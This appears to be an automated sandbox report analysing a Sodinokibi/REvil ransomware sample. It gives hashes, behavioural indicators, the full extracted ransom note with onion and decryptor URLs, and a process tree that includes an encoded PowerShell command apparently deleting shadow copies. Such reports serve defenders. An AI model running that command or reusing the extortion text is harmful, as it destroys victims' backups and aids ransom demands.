sodinokibi | 7aaf4b2e40306cbb65edd0aed85a61ef4bbe538837684f48eafefebbdb871c11

Analysis

max time kernel
135s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
10/05/2024, 04:21

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General

Target

2d5012a0dcdb72409842b4606ec0ac48_JaffaCakes118.dll
Size

166KB
MD5

2d5012a0dcdb72409842b4606ec0ac48
SHA1

c6044b3b1d6b65be9fbec84846efa25cd8c30242
SHA256

7aaf4b2e40306cbb65edd0aed85a61ef4bbe538837684f48eafefebbdb871c11
SHA512

3f837cee85d9136cbbfce1cb13fd855d10893b8d898123930c46b99ebb4ed4a5c2d0a4f653e403b1f5f0b26601f330ac1d9c95766dc7e1483e393ee1919eb64b
SSDEEP

3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfRWQwOy8CwvD:Ww9vteqJggn7oUfRWoyBwv

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\ra00n-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion ra00n. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EE30A8064FA7386E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/EE30A8064FA7386E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: NmV/AbxAPv88s8XsZYWfWZzosLeLaKFyoy7OK/UE/UlBrh3gKdtxZqxFI8Y0vg/D WNB8uyS3edGfwcDUPJhE4P78j9C7/B2ZzyvtAsDofE2agA2Py9grq1VRYgF/1ODq NDBK3cAy1NZxLmjzzhaNOVx8R6mO9BxUkikWpVqiWpb1Pue3i48yydA3rkSFHf88 i+1TdYdJ/mzTZcen/1Kl499/4fXjMmJf8lzWgnaKu0n5aMK0WcqCPcOjYYR3EiQY N2qjk4N2IkqHe5ilIVo25bHBWsdtJyC5DwGHT1+bsifMogRGuFHpYsyDOdEj6RJF wpZL+z0XpNzKWU3CteidU6Vy6yg+AmkPycdkMQZCiMMd7orfe/h7OK9EfxGCYGkI RYRZVwALDE7vUBeTv+IWnyhSi73rCjRbw562Do5D8saXQVHq1mGVqOksHa1cAH/v 8il72ZQxUZwsbQ9pUytri0L58Yw/ByHTNvmAXTBYdurlnWs8R9b3y+29pkeG2I5Y B7HEjN0CaV0Mem5Z7v+lFqd7J3ThxGa4Ds7RfKuOKNrgSlUAKFb1Qq1YKtzmGiHi c1Rludw/QeMHpyGXJBF2SaXxWFFPGrfn/8iOS6HORwiSy05gB86+jXW0JTT8ecAk +OM4Jbyl08rVc3S1ABkIvAWGrmNEf6fuBnKVUe8fchIxqadLauFiYYZ+EKeeBXAa Wphcg71Ywo+zbmEwE2QKUqHXHhSGFuxa8Zo2bhcFX34rBpym9BmGr3kmwI9jd632 gSkFqecgwEkBeeAR5UL2i5AfUuNOk2x10Rv/iMtgyoLEhJ2vRIhScKPWAuR8UjNQ rwP1ZLZHNUobc9vQ3dZC3m9KqDQVLnXrSzwsU4fPeQUkh4DtoMGOIHm8oFhm8aNx iTJgUJgepCAPLYujL2VqP0u7Ff99fSQ9wlyuR/CwBNn1KH+kGSpvGYLweke0AWXd eFhdFkuH8AS6g4r9NETkE40VariXK1m/6qyLqyaPAR46rDHWWENHDVlCchzkCdlY la5bRLKXzrr6tGgHqPna2pjrz8TGuRthjEm8CZmRNuu6/6609PWstgcwnGu44jE5 d9nPbYoDQATSricvoxZaO7KElrrQwxDGSfHnrLALMDmtGj1hEbhhqIBZYebTJ41b d1ZnedAKr2h2coCtNz9G0MRlJTEtE1Hg26afU/9B87fRR60ZhM/sDu7OSAveLDPL YlwfHlCyxj1pa0lnUf1+KFjee5s7CjPpMxVU/c58+bLNuoqxv29FrKUC1xY139wT /04prxP2nKlxrfRtHaIxQHsmd27M8lRX12P1yG7hfdNN4V0G6tRthfq/V+DIAg9P OC6kY2fV86JGhckJmBPYq2SAEIQPs29FBCfLhybcqGU86g== Extension name: ra00n ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/EE30A8064FA7386E

http://decryptor.cc/EE30A8064FA7386E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe

Drops file in Program Files directory 33 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ConvertLock.jpe	rundll32.exe
File opened for modification	\??\c:\program files\PingUnlock.easmx	rundll32.exe
File opened for modification	\??\c:\program files\RequestDebug.vsw	rundll32.exe
File opened for modification	\??\c:\program files\SearchStep.docx	rundll32.exe
File opened for modification	\??\c:\program files\SelectRepair.docm	rundll32.exe
File opened for modification	\??\c:\program files\UpdateSet.m4v	rundll32.exe
File opened for modification	\??\c:\program files\NewOpen.ADT	rundll32.exe
File opened for modification	\??\c:\program files\OpenSelect.mp2	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectComplete.MTS	rundll32.exe
File opened for modification	\??\c:\program files\AssertBackup.mpg	rundll32.exe
File opened for modification	\??\c:\program files\BackupSend.eps	rundll32.exe
File opened for modification	\??\c:\program files\GrantUnlock.eps	rundll32.exe
File opened for modification	\??\c:\program files\InvokeClose.cfg	rundll32.exe
File opened for modification	\??\c:\program files\SwitchRename.3gp	rundll32.exe
File opened for modification	\??\c:\program files\WatchInvoke.mov	rundll32.exe
File opened for modification	\??\c:\program files\ExitReset.midi	rundll32.exe
File opened for modification	\??\c:\program files\ImportConvertFrom.ADTS	rundll32.exe
File opened for modification	\??\c:\program files\EnableHide.wps	rundll32.exe
File opened for modification	\??\c:\program files\ExitPing.pcx	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromWatch.mov	rundll32.exe
File opened for modification	\??\c:\program files\LockMove.mp4	rundll32.exe
File opened for modification	\??\c:\program files\WaitOut.bmp	rundll32.exe
File created	\??\c:\program files (x86)\ra00n-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompleteUnpublish.xml	rundll32.exe
File opened for modification	\??\c:\program files\PublishMeasure.mpg	rundll32.exe
File opened for modification	\??\c:\program files\RedoStep.xml	rundll32.exe
File opened for modification	\??\c:\program files\RepairGrant.vsdm	rundll32.exe
File opened for modification	\??\c:\program files\RevokePop.dwfx	rundll32.exe
File created	\??\c:\program files\ra00n-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ExportUndo.tif	rundll32.exe
File opened for modification	\??\c:\program files\OutUninstall.aifc	rundll32.exe
File opened for modification	\??\c:\program files\RevokeClose.gif	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectGet.mp3	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4600	rundll32.exe
4600	rundll32.exe
2220	powershell.exe
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	rundll32.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2544	vssvc.exe
Token: SeRestorePrivilege	2544	vssvc.exe
Token: SeAuditPrivilege	2544	vssvc.exe
Token: SeTakeOwnershipPrivilege	4600	rundll32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 4600	4620	rundll32.exe	83
PID 4620 wrote to memory of 4600	4620	rundll32.exe	83
PID 4620 wrote to memory of 4600	4620	rundll32.exe	83
PID 4600 wrote to memory of 2220	4600	rundll32.exe	91
PID 4600 wrote to memory of 2220	4600	rundll32.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2d5012a0dcdb72409842b4606ec0ac48_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\2d5012a0dcdb72409842b4606ec0ac48_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2220

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\ra00n-readme.txt

Filesize
6KB

MD5
7811b6cd5685583c8f8d2bcfd7967c2b

SHA1
bfe1a305b58d672da12427b9fc5a672f15bad221

SHA256
d1a57d6f3ebf39d61243125144726b5e4156b6ab3a88f59b993a1efdc19223f3

SHA512
d92ff45f6a1c0baaf3fefc35a17905c9d8a2ef393a853af0c740d6d47159af2f85e32cf31e83333a4f19c3edd572e74c0af410aa1515fcf69b54f46da2b88f80

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqustlif.gip.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2220-0-0x00007FF98CC33000-0x00007FF98CC35000-memory.dmp

Filesize
8KB

Download
memory/2220-10-0x00000249BF350000-0x00000249BF372000-memory.dmp

Filesize
136KB

Download
memory/2220-11-0x00007FF98CC30000-0x00007FF98D6F1000-memory.dmp

Filesize
10.8MB

Download
memory/2220-12-0x00007FF98CC30000-0x00007FF98D6F1000-memory.dmp

Filesize
10.8MB

Download
memory/2220-15-0x00007FF98CC30000-0x00007FF98D6F1000-memory.dmp

Filesize
10.8MB

Download